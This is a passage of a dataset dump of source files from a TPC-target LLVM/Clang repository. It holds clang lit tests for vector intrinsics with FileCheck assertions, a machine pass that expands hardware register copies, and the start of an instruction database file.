%V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = v_i16_mac_vb(x0, 123, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%VP{{[0-9]+}}\n\n\n // Compatibility functions\n bool256 vpred_c = from_bool128(vpred);\n\n // Vector + Vector\n\n res = av_i16_mac_v_v(x0, x1, res, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = av_i16_mac_v_v(x0, x1, res, 1);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = av_i16_mac_v_v_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = av_i16_mac_v_v_b(x0, x1, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = av_i16_mac_v_v_vb(x0, x1, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = av_i16_mac_v_v_vb(x0, x1, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n // Vector + Scalar\n\n res = av_i16_mac_v_s(x0, xs, res, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = av_i16_mac_v_s(x0, xs, res, 1);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = av_i16_mac_v_s_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = av_i16_mac_v_s_b(x0, xs, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = av_i16_mac_v_s_vb(x0, xs, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = av_i16_mac_v_s_vb(x0, xs, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n // Vector + Immediate\n\n res = av_i16_mac_v_s(x0, 123, res, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = av_i16_mac_v_s(x0, 123, res, 1);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = av_i16_mac_v_s_b(x0, 123, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n\n res = av_i16_mac_v_s_b(x0, 123, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%SP{{[0-9]+}}\n\n res = av_i16_mac_v_s_vb(x0, 123, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = av_i16_mac_v_s_vb(x0, 123, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%VP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.5011312365531921, "alphanum_fraction": 0.5995475053787231, "avg_line_length": 28.46666717529297, "blob_id": "9aadfa4dd5d88ca11c691414b8985e4cd76de84f", "content_id": "576fc3d966a8643713423e364ed06145acb3dc96", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 884, "license_type": "permissive", "max_line_length": 132, "num_lines": 30, "path": "/clang/test/RC99/localizer/resolver-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck %s \n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nstruct ABC {\n float field1;\n int field2[12];\n};\n\nstruct ABC vvv;\n\nvoid main(int x) {\n vvv.field1 = 1.0;\n vvv.field2[1] = 777;\n}\n\n\n// CHECK: store float 1.000000e+00, float addrspace(1)* null\n// CHECK: store i32 777, i32 addrspace(1)* getelementptr inbounds (%struct.ABC, %struct.ABC addrspace(1)* null, i32 0, i32 1, i32 1)\n\n\n// CHECK: !llvm.tpc.scalar_data = !{![[SSZ:[0-9]+]]}\n// CHECK: !llvm.tpc.vector_data = !{![[VSZ:[0-9]+]]}\n// CHECK: ![[SSZ]] = !{i32 52}\n// CHECK: ![[VSZ]] = !{i32 0}\n\n\n// CHECK-ASM-DAG: mov.i32 %S[[REG1:[0-9]+]], 0x3f800000\n// CHECK-ASM-DAG: st_l 0x0, %S[[REG1]]\n// CHECK-ASM-DAG: mov.i32 %S[[REG2:[0-9]+]], 0x309\n// CHECK-ASM-DAG: st_l 0x8, %S[[REG2]]\n" }, { "alpha_fraction": 0.638107419013977, "alphanum_fraction": 0.6409846544265747, "avg_line_length": 29.66666603088379, "blob_id": "d700dff2e3c7a7c81d2c8ae37f8518aee6981aff", "content_id": "2df97b60d6be5f6b05058532144241da66977522", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3128, "license_type": "permissive", "max_line_length": 80, "num_lines": 102, "path": "/llvm/lib/Target/TPC/TPCExpandHWRegCopies.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCExpandHWRegCopies.cpp -------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCTargetMachine.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n\n#define DEBUG_TYPE \"hwwa\"\n\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCExpandHWRegCopies();\nvoid initializeTPCExpandHWRegCopiesPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC Expand Copy HWReg with MOV\";\nstatic const char PassName[] = \"tpc-expand-copy-hwreg\";\n\nstatic cl::opt<bool>\nEnableTPCExpandHWRegCopies(PassName,\n cl::desc(PassDescription),\n cl::init(true), cl::Hidden);\n\nnamespace {\nclass TPCExpandHWRegCopies : public MachineFunctionPass {\n MachineFunction *MF = nullptr;\n MachineRegisterInfo *MRI = nullptr;\n const TargetInstrInfo *TII = nullptr;\n unsigned NumReplaced = 0;\n\npublic:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCExpandHWRegCopies() : MachineFunctionPass(ID) {\n initializeTPCExpandHWRegCopiesPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n};\n}\n\nchar TPCExpandHWRegCopies::ID = 0;\n\nINITIALIZE_PASS(TPCExpandHWRegCopies, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCExpandHWRegCopies() {\n return new TPCExpandHWRegCopies();\n}\n\n\nbool TPCExpandHWRegCopies::runOnMachineFunction(MachineFunction &Func) {\n if (skipFunction(Func.getFunction()))\n return false;\n if (!EnableTPCExpandHWRegCopies)\n return false;\n MF = &Func;\n MRI = &MF->getRegInfo();\n TII = MF->getSubtarget().getInstrInfo();\n NumReplaced = 0;\n MachineBasicBlock *MBB;\n MachineInstrBuilder MIB;\n typedef enum {none, zpreg} TCopyKind;\n for (MachineFunction::iterator MBBI = MF->begin(), MBBE = MF->end();\n MBBI != MBBE; ++MBBI) {\n MBB = &*MBBI;\n for (MachineBasicBlock::iterator mi = MBB->begin(), me = MBB->end();\n mi != me;) {\n MachineBasicBlock::iterator nmi = std::next(mi);\n MachineInstr *MI = &*mi;\n auto opc = MI->getOpcode();\n if (opc == TargetOpcode::COPY) {\n MachineOperand des = MI->getOperand(0);\n if (des.isReg()) {\n Register destreg = des.getReg();\n TCopyKind CopyKind = TCopyKind(none);\n if (!destreg.isPhysical()) {\n const TargetRegisterClass *RC;\n const MachineRegisterInfo &MRI =\n MI->getParent()->getParent()->getRegInfo();\n RC = MRI.getRegClass(destreg);\n }\n }\n }\n mi = nmi;\n }\n }\n return NumReplaced > 0;\n}\n" }, { "alpha_fraction": 0.5130890011787415, "alphanum_fraction": 0.614310622215271, "avg_line_length": 39.92856979370117, "blob_id": "860741eee8d0b40d2c28f1bbdb6d6d094803c7e3", "content_id": "86afa7da70aaf4334fab3154eb7e34301583306e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 573, "license_type": "permissive", "max_line_length": 135, "num_lines": 14, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_int64_to_uint64.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\n\nvoid main(int src, int dest) {\n int64 *sptr = (int64 *)src;\n uint64 *dptr = (uint64 *)dest;\n int64 src_val = *sptr;\n *dptr = convert_int64_to_uint64(src_val, 0);\n}\n\n// CHECK-IR: call <64 x i32> @llvm.tpc.convert.v64i32.v64i32.i1(<64 x i32> {{.*}}, i8 2, i32 768, <64 x i32> undef, i1 true, i1 false)\n\n// CHECK-ASM: ld_l_v [[SRC:%V[0-9]+]], %S0\n// CHECK-ASM: convert.i32 all_lanes target_type=uint32 rhne %V{{[0-9]+}}, [[SRC]]\n" }, { "alpha_fraction": 0.45655110478401184, "alphanum_fraction": 0.5704637765884399, "avg_line_length": 57.44736862182617, "blob_id": "2a9391fb2b10c73b889bd6f19b0bb11796110dfc", "content_id": "28947783fc4f8bc84428c36b67566dd31eb247f0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2221, "license_type": "permissive", "max_line_length": 124, "num_lines": 38, "path": "/clang/test/RC99/main/main-08.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -emit-llvm -O1 %s -o - | FileCheck %s\n// XFAIL: *\n// to be removed or rewritten as runtime test\nvoid main(\n int arg0, int arg1, int arg2, int arg3, int arg4,\n int arg5, int arg6, int arg7, int arg8, int arg9, \n int arg10, int arg11, int arg12, int arg13, int arg14,\n int arg15, int arg16, int arg17, int arg18, int arg19, \n int arg20, int arg21, int arg22, int arg23, int arg24,\n int arg25, int arg26, int arg27, int arg28, int arg29, \n int arg30, int arg31, int arg32, int arg33, float float34\n) { \n int __local *ptr[] = { (int __local *)arg0,(int __local *)arg1};\n *ptr[0] = arg32;\n *ptr[1] = arg33;\n int __local *ptr1 = (int __local *)arg2;\n *ptr1 = float34;\n}\n\n// CHECK: %{{[0-9]+}} = tail call i8 addrspace(3)* @llvm.tpc.gen.addr(<5 x i32> zeroinitializer, i8 7)\n// CHECK: %{{[0-9]+}} = bitcast i8 addrspace(3)* %{{[0-9]+}} to i32 addrspace(3)*\n// CHECK: %{{[0-9]+}} = load i32, i32 addrspace(3)* %{{[0-9]+}}, align 4\n// CHECK: %{{[0-9]+}} = tail call <5 x i32> @llvm.tpc.i.i32.add.s.i(i32 1, <5 x i32> zeroinitializer, <5 x i32> undef, i8 1)\n// CHECK: %{{[0-9]+}} = tail call i8 addrspace(3)* @llvm.tpc.gen.addr(<5 x i32> %{{[0-9]+}}, i8 7)\n// CHECK: %{{[0-9]+}} = bitcast i8 addrspace(3)* %{{[0-9]+}} to i32 addrspace(3)*\n// CHECK: %{{[0-9]+}} = load i32, i32 addrspace(3)* %{{[0-9]+}}, align 4\n// CHECK: %{{[0-9]+}} = tail call <5 x i32> @llvm.tpc.i.i32.add.s.i(i32 1, <5 x i32> %{{[0-9]+}}, <5 x i32> undef, i8 1)\n// CHECK: %{{[0-9]+}} = tail call i8 addrspace(3)* @llvm.tpc.gen.addr(<5 x i32> %{{[0-9]+}}, i8 7)\n// CHECK: %{{[0-9]+}} = bitcast i8 addrspace(3)* %{{[0-9]+}} to float addrspace(3)*\n// CHECK: %{{[0-9]+}} = load float, float addrspace(3)* %{{[0-9]+}}, align 4\n// CHECK: %{{[0-9]+}} = inttoptr i32 %arg0 to i32 addrspace(1)*\n// CHECK: %{{[0-9]+}} = inttoptr i32 %arg1 to i32 addrspace(1)*\n// CHECK: store i32 %{{[0-9]+}}, i32 addrspace(1)* %{{[0-9]+}}, align 4\n// CHECK: store i32 %{{[0-9]+}}, i32 addrspace(1)* %{{[0-9]+}}, align 4\n// CHECK: %{{[0-9]+}} = inttoptr i32 %arg2 to i32 addrspace(1)*\n// CHECK: %conv = fptosi float %{{[0-9]+}} to i32\n// CHECK: store i32 %conv, i32 addrspace(1)* %{{[0-9]+}}, align 4\n// CHECK: ret void\n" }, { "alpha_fraction": 0.4744376242160797, "alphanum_fraction": 0.5173823833465576, "avg_line_length": 22.285715103149414, "blob_id": "de46bc073027f9b26e8c70430e9e98881723a887", "content_id": "d91f103d790c0a0bef6b5592a5f51018bcabe80c", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1467, "license_type": "permissive", "max_line_length": 96, "num_lines": 63, "path": "/clang/test/RC99/IntrinsicsL/bv_mov.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(int dest, int x, int vpredp, _Bool pred) {\n volatile bool256 __local *dest_ptr = (bool256 __local *)dest;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n \n bool256 vpred = *vpred_ptr++;\n bool256 income = *dest_ptr++;\n\n// CHECK-DAG: ld_l_v [[DEST:%VP[0-9]+]], %S0\n// CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S2\n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n // bv_mov_bv_vb\n {\n bool256 res = income;\n bool256 val = *vpred_ptr++;\n// CHECK-DAG: ld_l_v [[VAL:%VP[0-9]+]], %S{{[0-9]+}}\n\n res = bv_mov_bv_vb(val, res, vpred, 0);\n *dest_ptr++ = res;\n// CHECK: mov [[DEST]], [[VAL]], [[VPRED]]\n\n income = res;\n }\n\n // bv_mov_bv_b\n {\n bool256 res = income;\n bool256 val = *vpred_ptr++;\n// CHECK-DAG: ld_l_v [[VAL:%VP[0-9]+]], %S{{[0-9]+}}\n\n res = bv_mov_bv_b(val, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov [[DEST]], [[VAL]], [[PRED]]\n\n income = res;\n }\n\n // bv_mov_b_vb\n {\n bool256 res = income;\n\n res = bv_mov_b_vb(pred, res, vpred, 0);\n *dest_ptr++ = res;\n// CHECK: mov [[DEST]], [[PRED]], [[VPRED]]\n\n income = res;\n }\n\n // bv_mov_b_b\n {\n bool256 res = income;\n\n res = bv_mov_b_b(pred, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov [[DEST]], [[PRED]], [[PRED]]\n\n income = res;\n }\n}\n" }, { "alpha_fraction": 0.43521595001220703, "alphanum_fraction": 0.514950156211853, "avg_line_length": 23.079999923706055, "blob_id": "63b28a18321b69466edfd82975271124ab4058a9", "content_id": "0c5fa6a2b26f366378cad6fbf2d961841610d5da", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 602, "license_type": "permissive", "max_line_length": 65, "num_lines": 25, "path": "/clang/test/RC99/regression/bitcast.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 %s -o -\n\nvoid main(tensor in, tensor out, float ff) {\n\n int5 space = {0, 0, 0, 0, 0};\n\n float64 f = v_f32_ld_tnsr_i_b(space, in, 0 /*source*/, 1, 1);\n space.x = space.x + 1;\n int64 i = v_i32_ld_tnsr_i_b(space, in, 0 /*source*/, 1, 1);\n\n int64 cast_f = i + *(int64*)(&f);\n i32_st_tnsr_i_v_b(space, out, cast_f, 1, 1);\n space.x = space.x + 1;\n f = f + 1.0f;\n f32_st_tnsr_i_v_b(space, out, f, 1, 1);\n\n //float x = ff;\n int ii = *((int*)(&ff));\n\n if (ii < 10) {\n ff = ff * 4.0f;\n }\n f32_st_tnsr_i_v_b(space, out, f + ff, 1, 1);\n\n}\n" }, { "alpha_fraction": 0.4902723729610443, "alphanum_fraction": 0.6089494228363037, "avg_line_length": 23.4761905670166, "blob_id": "d61093fbbdfb2dca30a7da8dcf10c54db79c75fa", "content_id": "a08df02743207362d1badd406e19bcffc42c5fcb", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 514, "license_type": "permissive", "max_line_length": 70, "num_lines": 21, "path": "/clang/test/RC99/cxx/overload-01.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc -std=rc++ -S -O1 %s -o - | FileCheck %s\n\nint64 add(int64 x1, int64 x2) {\n return x1 + x2;\n}\n\nshort128 add(short128 x1, short128 x2) {\n return x1 - x2;\n}\n\nvoid main(int dest1, int src1, int dest2, int src2) {\n auto dptr1 = (int64 __local *)dest1;\n auto sptr1 = (int64 __local *)src1;\n *dptr1 = add(sptr1[0], sptr1[1]);\n// CHECK: add.i32\n\n auto dptr2 = (short128 __local *)dest2;\n auto sptr2 = (short128 __local *)src2;\n *dptr2 = add(sptr2[0], sptr2[1]);\n// CHECK: sub.i16\n}\n" }, { "alpha_fraction": 0.5432098507881165, "alphanum_fraction": 0.604938268661499, "avg_line_length": 39.5, "blob_id": "b375c57fbf0df796cb8dfa391d5db961a80b9f4a", "content_id": "d60f735b48f4b1586598b037a8d9fcfed6fcfa0e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 567, "license_type": "permissive", "max_line_length": 108, "num_lines": 14, "path": "/clang/test/RC99/CodeGen/bool256-04.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest) {\n bool256 __local *dptr = (bool256 __local*)dest;\n bool256 res = 0;\n\n *dptr = res;\n}\n\n// CHECK: mov %VP[[REG:[0-9]+]], 0x0\n// CHECK: st_l_v %S0,{{.*}} %VP[[REG]]\n" }, { "alpha_fraction": 0.5227257013320923, "alphanum_fraction": 0.5370640754699707, "avg_line_length": 43.45235061645508, "blob_id": "d51f0ad7c2508970e2350af795907204f7276719", "content_id": "4c805a3b35379008a7c4df0995ad74cf60b37134", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 71835, "license_type": "permissive", "max_line_length": 158, "num_lines": 1616, "path": "/llvm/lib/Target/TPC/MCTargetDesc/InstructionDB.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--------InstructionDB.cpp---------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// Information about instruction suffixes.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"InstructionDB.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"TPCRegisterInfo.h\"\n#include \"llvm/MC/MCSubtargetInfo.h\"\n#include \"llvm/Support/Debug.h\"\n\n#include <algorithm>\n#include <cctype>\n#include <cstdlib>\n#include <map>\n#include <set>\n#include <sstream>\n#include <utility>\n\n#define DEBUG_TYPE \"TPCinstructionDB\"\n#if 1\n# define DISASM_DEBUG(X)\n#else\n# define DISASM_DEBUG(X) LLVM_DEBUG(X)\n#endif\n\nusing namespace llvm;\nusing namespace llvm::TPCII;\n\n// Constant used as a value of SwitchInfo::Features if the switch is valid for all processors.\nconst unsigned AllCores = ~0U;\n\n// Bit mask of issue slots.\nconst unsigned S_Special = 0x01;\nconst unsigned S_Load = 0x02;\nconst unsigned S_Scalar = 0x04;\nconst unsigned S_Vector = 0x08;\nconst unsigned S_Store = 0x10;\n\nconst unsigned S_Arith = S_Scalar | S_Vector;\nconst unsigned S_Mem = S_Load | S_Store;\n\ninline unsigned getSlotCode(SlotParser x) {\n switch (x) {\n case SlotParser::Special: return S_Special;\n case SlotParser::Load: return S_Load;\n case SlotParser::Scalar: return S_Scalar;\n case SlotParser::Vector: return S_Vector;\n case SlotParser::Store: return S_Store;\n default: llvm_unreachable(\"Invalid slot code\");\n }\n}\n\ninline SlotParser getSlotParserCode(unsigned x) {\n switch (x) {\n case S_Special: return SlotParser::Special;\n case S_Load: return SlotParser::Load;\n case S_Scalar: return SlotParser::Scalar;\n case S_Vector: return SlotParser::Vector;\n case S_Store: return SlotParser::Store;\n default: llvm_unreachable(\"Invalid slot code\");\n }\n}\n\n\nconst unsigned T_FP32 = 1 << OpType::FP32;\nconst unsigned T_BF16 = 1 << OpType::BF16;\nconst unsigned T_INT32 = 1 << OpType::INT32;\nconst unsigned T_UINT32 = 1 << OpType::UINT32;\nconst unsigned T_INT8 = 1 << OpType::INT8;\nconst unsigned T_UINT8 = 1 << OpType::UINT8;\nconst unsigned T_BOOL = 1 << OpType::BOOL;\nconst unsigned T_INT16 = 1 << OpType::INT16;\nconst unsigned T_UINT16 = 1 << OpType::UINT16;\nconst unsigned T_INT4 = 1 << OpType::INT4;\nconst unsigned T_UINT4 = 1 << OpType::UINT4;\nconst unsigned T_FP16 = 1 << OpType::FP16;\nconst unsigned T_F8_143 = 1 << OpType::FP8_143;\nconst unsigned T_F8_152 = 1 << OpType::FP8_152;\nconst unsigned T_INT64 = 1 << OpType::INT64;\nconst unsigned T_FLOAT = T_FP32 | T_BF16 | T_FP16 | T_F8_143 | T_F8_152;\nconst unsigned T_INTEGER = T_INT32 | T_UINT32 | T_INT8 | T_UINT8 | T_INT16 | T_UINT16;\nconst unsigned T_F8 = T_F8_143 | T_F8_152;\nconst unsigned T_ALL = ~0U;\n\ninline unsigned getTypeCode(TPCII::OpType T) {\n switch (T) {\n case OpType::FP32: return T_FP32;\n case OpType::BF16: return T_BF16;\n case OpType::INT32: return T_INT32;\n case OpType::UINT32: return T_UINT32;\n case OpType::INT8: return T_INT8;\n case OpType::UINT8: return T_UINT8;\n case OpType::BOOL: return T_BOOL;\n case OpType::INT16: return T_INT16;\n case OpType::UINT16: return T_UINT16;\n case OpType::INT4: return T_INT4;\n case OpType::UINT4: return T_UINT4;\n case OpType::FP16: return T_FP16;\n case OpType::FP8_143: return T_F8_143;\n case OpType::FP8_152: return T_F8_152;\n case OpType::INT64: return T_INT64;\n case OpType::Invalid: return T_ALL;\n default: llvm_unreachable(\"invalid type\");\n }\n}\n\n\n// Represents an instruction opcode. As we have several slots each having its own\n// instruction set, numerical value of opcode is not sufficient to disambigute\n// an instruction.\nstruct OpCodeKey {\n SlotParser Slot;\n unsigned OpCode;\n\n friend bool operator < (const OpCodeKey &A, const OpCodeKey &B) {\n if (A.Slot < B.Slot)\n return true;\n if (A.Slot > B.Slot)\n return false;\n return A.OpCode < B.OpCode;\n }\n};\n\n\n// Represents an instruction name. As we have several slots each having its own\n// instruction set, just an instruction name (like 'set_indx') is not sufficient\n// to disambigute an instruction.\nstruct MnemonicKey {\n std::string Mnemonic;\n unsigned Slot;\n\n friend bool operator < (const MnemonicKey &A, const MnemonicKey &B) {\n if (A.Slot < B.Slot)\n return true;\n if (A.Slot > B.Slot)\n return false;\n return A.Mnemonic < B.Mnemonic;\n }\n\n friend bool operator == (const MnemonicKey &A, const MnemonicKey &B) {\n return A.Slot == B.Slot && A.Mnemonic == B.Mnemonic;\n }\n};\n\n\n// Represents a value of multibit switch (like RHNE of CONVERT mode).\nstruct SwitchValue {\n StringRef Name; // Name (like RHNE)\n unsigned Value; // Bit value (like SW_RHNE)\n};\n\n\n/// Describe a dependecy of a switch on another switch value.\n///\n/// For example, the switch WEG0 makes sense only if the switch ALL is set. In\n/// this case the switch \"ALL\" is a dependency for \"WEG0\".\n///\nstruct Dependency {\n /// Name of the switch on which the described switch depends on. For example,\n /// \"ALL\" for \"WEG0\".\n StringRef Switch;\n\n /// Value of the dependency switch, which must be set to make the described\n /// switch valid. For example, \"ALL\" must be set to \"1\" for switch \"WEG0\" be\n /// valid.\n unsigned Value;\n};\n\n\n/// Requests instruction printer to always print the switch in the\n/// form \"key=value\".\nconst unsigned OptPrintWithKey = 0x01;\n\n/// Requests instruction printer to always print the switch even if it has\n/// default value.\nconst unsigned OptPrintAlways = 0x02;\n\n/// Flag that indicates that the switch should not be printed. It is useful, if\n/// the switch is already encoded in the instruction name.\nconst unsigned OptDontPrint = 0x04;\n\n/// Flag that indicates the switch is an alias (e.g. for backward compatibilty).\n/// Such switch participates in parsing assembler sources but not in printing.\nconst unsigned OptAlias = 0x08;\n\n/// Flag that indicates that the switch value must printed in binary format.\nconst unsigned OptPrintAsBinary = 0x10;\n\n/// If this flag presents, the switch value can be used as instruction suffix,\n/// even if it is a member of multibit set. One-bit flags are always allowed in\n/// suffix.\nconst unsigned OptMayBeSuffix = 0x20;\n\n\n// Flag that indicates that the switch contain immediate mask.\nconst unsigned IsImmMask = 0x10000000;\n\nconst unsigned PrintFlagMask = IsImmMask;\n\n/// Keep information about a switch.\nstruct SwitchInfo {\n /// Switch name, like 'acc_fp32'.\n StringRef Name;\n\n /// Instructions where the switch may appear.\n std::vector<MnemonicKey> Instructions;\n\n /// Bit mask corresponding to the switch. For one-bit switch, like SW_SAT it\n /// is just the value or the switch. For multibit switch, like rounding mode,\n /// it represents bit mask of all pertinent bits.\n unsigned Value;\n\n /// The feature, like FeatureFP8, required for this switch.\n unsigned Feature;\n\n /// Instruction optypes for which the switch is valid.\n unsigned OpType;\n\n /// Keeps all possible values for multibit switch.\n std::vector<SwitchValue> Values;\n\n /// Value of the switch if it is not specified in assembler form.\n unsigned Default;\n\n /// Set of dependencies.\n std::vector<Dependency> Dependencies;\n\n /// Various option for the switch, for example, how to print the switch.\n unsigned Options;\n\n bool isGroup() const {\n return !Values.empty() || std::bitset<32>(Value).count() > 1;\n }\n\n bool fitsTargetFeatures(const FeatureBitset &TargetFeatures) const {\n return (Feature == AllCores || TargetFeatures[Feature]);\n }\n\n bool fitsOtherFeatures(const SwitchInfo &Other) const {\n return true;\n }\n};\n\n\nstruct DependencyRecord {\n const SwitchInfo *Switch;\n unsigned Selection;\n};\n\n\n// Keeps information about switches that can be used in an instruction.\nstruct InstructionInfo {\n StringRef Name;\n std::set<const SwitchInfo *> Switches;\n};\n\n\n// Database of all instruction opcodes.\nstatic const std::multimap<OpCodeKey, StringRef> AllOpCodes = {\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::ldGEN_ADDR }, \"GEN_ADDR\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::ldPRMT_INDX }, \"PRMT_INDX\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::ldSET_INDX }, \"SET_INDX\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::ldMOV }, \"MOV\"),\n std::make_pair(OpCodeKey{ SlotParser::Load, TPCII::LOOKUP }, 